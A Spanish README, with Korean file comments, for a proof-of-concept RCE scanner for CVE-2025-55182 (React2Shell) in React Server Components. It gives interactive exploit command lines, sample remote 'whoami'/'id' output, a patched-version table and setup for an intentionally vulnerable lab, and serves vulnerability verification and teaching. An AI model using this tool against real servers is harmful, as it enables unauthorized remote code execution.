
CVE-2025-55182 React RCE Programa de prueba
Programa de prueba de RCE de React CVE-2025-55182
Este script es una herramienta de verificación de vulnerabilidades dirigida a CVE-2025-55182, una vulnerabilidad crítica de ejecución remota de código (RCE) presente en React Server Components (RSC) de React 19.x.
Esta herramienta determina si la vulnerabilidad existe en un servidor real y, según las opciones, puede ejecutar comandos, registrar logs o probar también mediante el método RCE de segunda etapa (module#_load).
⚠️ Esta herramienta debe utilizarse únicamente con fines de auditoría de seguridad y verificación de vulnerabilidades en un entorno de pruebas cerrado.
| Elemento | Contenido |
|---|---|
| Número de vulnerabilidad | CVE-2025-55182 (React) / CVE-2025-66478 (Next.js) |
| Nombre de la vulnerabilidad | React2Shell |
| Tipo de vulnerabilidad | Ejecución remota de código (RCE) – sin autenticación |
| Gravedad (CVSS) | 10.0 (Crítica) |
| Fecha de descubrimiento | 2025-11-29 (Lachlan Davidson) |
| Dificultad de ataque | Muy baja (nivel Log4Shell) |
| Descripción de la vulnerabilidad | Vulnerabilidad RCE estructural durante el proceso de deserialización de Flight que permite acceder a la cadena de prototipos (constructor, __proto__) mediante la notación de corchetes de la función requireModule() |
✅ Los proyectos con funcionalidad RSC deben actualizar también los módulos
react-server-dom-*a su última versión, además de React, para estar seguros.
CVE-2025-55182/
├── README.md # 전체 개요 및 스캐너 사용법
├── DETECTION_RULES.md # 탐지/차단용 규칙 모음
├── 설명 및 탐지규칙.md # 한글 탐지 규칙 설명
├── cve_2025_55182_interactive.py # RCE 검증 스캐너 스크립트
├── requirements.txt # 스캐너 의존성 목록
├── setup_vulnerable_env.sh # 취약 환경 일괄 설치 스크립트
├── uninstall_vulnerable_env.sh # 취약 환경 정리/제거 스크립트
└── vulnerable-react-env/ # React2Shell 취약 서버 실습용 코드
├── README.md # 실습 환경 사용법
├── package.json # npm 스크립트 및 의존성
├── server.js # 취약한 Express 백엔드
├── public/
│ └── index.html # CDN 기반 React 프런트엔드
└── .gitignore
✅ Prueba interactiva de si el servidor vulnerable permite RCE
✅ Soporta el método child_process#execSync (predeterminado) o module#_load
✅ Guarda el resultado de la ejecución de comandos en un archivo de log
✅ Envía al servidor los comandos del sistema introducidos por el usuario
git clone <this-repo>
cd <this-repo>
pip install -r requirements.txt
Prueba RCE básica (método execSync)
child_process.execSync()python cve_2025_55182_interactive.py http://localhost:3000 --rcePrueba RCE de segunda etapa (método module#_load)
module#_loadpython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoadPrueba RCE basada en RSC (opción --rce2)
python cve_2025_55182_interactive.py http://localhost:3000 --rce2Guardar el resultado de los comandos en un log
python cve_2025_55182_interactive.py http://localhost:3000 --rce --log rce_output.logLa carpeta vulnerable-react-env contiene un servidor React + Express intencionalmente vulnerable que permite reproducir CVE-2025-55182.
./setup_vulnerable_env.sh se completan de una vez: instalación de paquetes apt → instalación de nvm/Node.js 20 → npm install.cd vulnerable-react-env && npm start o npm run dev.npm run, solo se mostrará la lista de scripts. Asegúrese de especificar el nombre del script, como npm start (o npm run start)../uninstall_vulnerable_env.sh permite eliminar node_modules, el payload de moduleLoad y (opcionalmente) Node 20 y nvm.ERR_MODULE_NOT_FOUND: Cannot find package 'express', instale node_modules con cd vulnerable-react-env && npm install y vuelva a ejecutar npm start.⚠️ Prohibido su uso fuera de fines de investigación y educación. No lo exponga a Internet.
💬 Comando del sistema a introducir: whoami
✅ Código de respuesta: 200
📄 Contenido de la respuesta: {"success":true,"result":"www-data"}
💬 Comando del sistema a introducir: id
✅ Código de respuesta: 200
📄 Contenido de la respuesta: {"success":true,"result":"uid=1000(hacker) gid=1000(hacker)"}
💬 Comando del sistema a introducir: exit
👋 Saliendo.
❌ No lo utilice nunca en entornos de producción.
✅ Este script solo debe usarse en entornos de prueba locales o en una VM aislada.
🛠️ El método --method moduleLoad crea un archivo real en /tmp/evil.js.
🧾 Si se usa la opción --log, los resultados se guardan en texto plano; restrinja el acceso al archivo.
🔐 Todas las solicitudes verifican si realmente se ejecuta código JavaScript en el servidor vulnerable.
CVE oficial: CVE-2025-55182
Métodos de explotación:
Flujo del ataque:
Este proyecto se ofrece únicamente con fines de investigación, auditoría y pruebas de seguridad.
El uso no autorizado contra sistemas reales es ilegal.
Toda responsabilidad legal derivada del uso de esta herramienta recae en el propio usuario.
| Producto/Herramienta | Versión vulnerable | Versión parcheada |
|---|
| React.js | 19.0.0, 19.1.0, 19.1.1, 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
| react-server-dom-webpack | Ídem (↑) | Ídem |
| react-server-dom-parcel | Ídem (↑) | Ídem |
| react-server-dom-turbopack | Ídem (↑) | Ídem |
| Next.js 14 | Algunas versiones desde 14.3.0.canary.77 | (Oficiosamente) se recomienda migrar a 15.0.5 o superior |
| Next.js 15 | 15.0.0 ~ 15.5.6 | 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 15.6.0 |
| Next.js 16 | 16.0.0 ~ 16.0.6 | 16.0.7 |
| Otras herramientas | React Router RSC, RedwoodJS, Vite RSC Plugin, Parcel RSC Plugin, etc. | Se requiere parchear las dependencias RSC del proyecto correspondiente |
Uso completo de las funciones (método + log)
moduleLoad con el guardado de logspython cve_2025_55182_interactive.py http://localhost:3000 --rce --method moduleLoad --log rce_output.logSalida de depuración del payload
python cve_2025_55182_interactive.py http://localhost:3000 --rce --debugsudo apt update && sudo apt install -y curl build-essentialcurl -fsSL https://raw.githubusercontent.com/nvm-sh/nvm/v0.39.7/install.sh -o /tmp/install_nvm.sh && bash /tmp/install_nvm.shnvm install 20 && nvm use 20cd vulnerable-react-env && npm installnpm start (puerto predeterminado: 3000)http://localhost:3000 desde el navegador y envíe _payload y cmd mediante el formulariovulnerable-react-env/README.md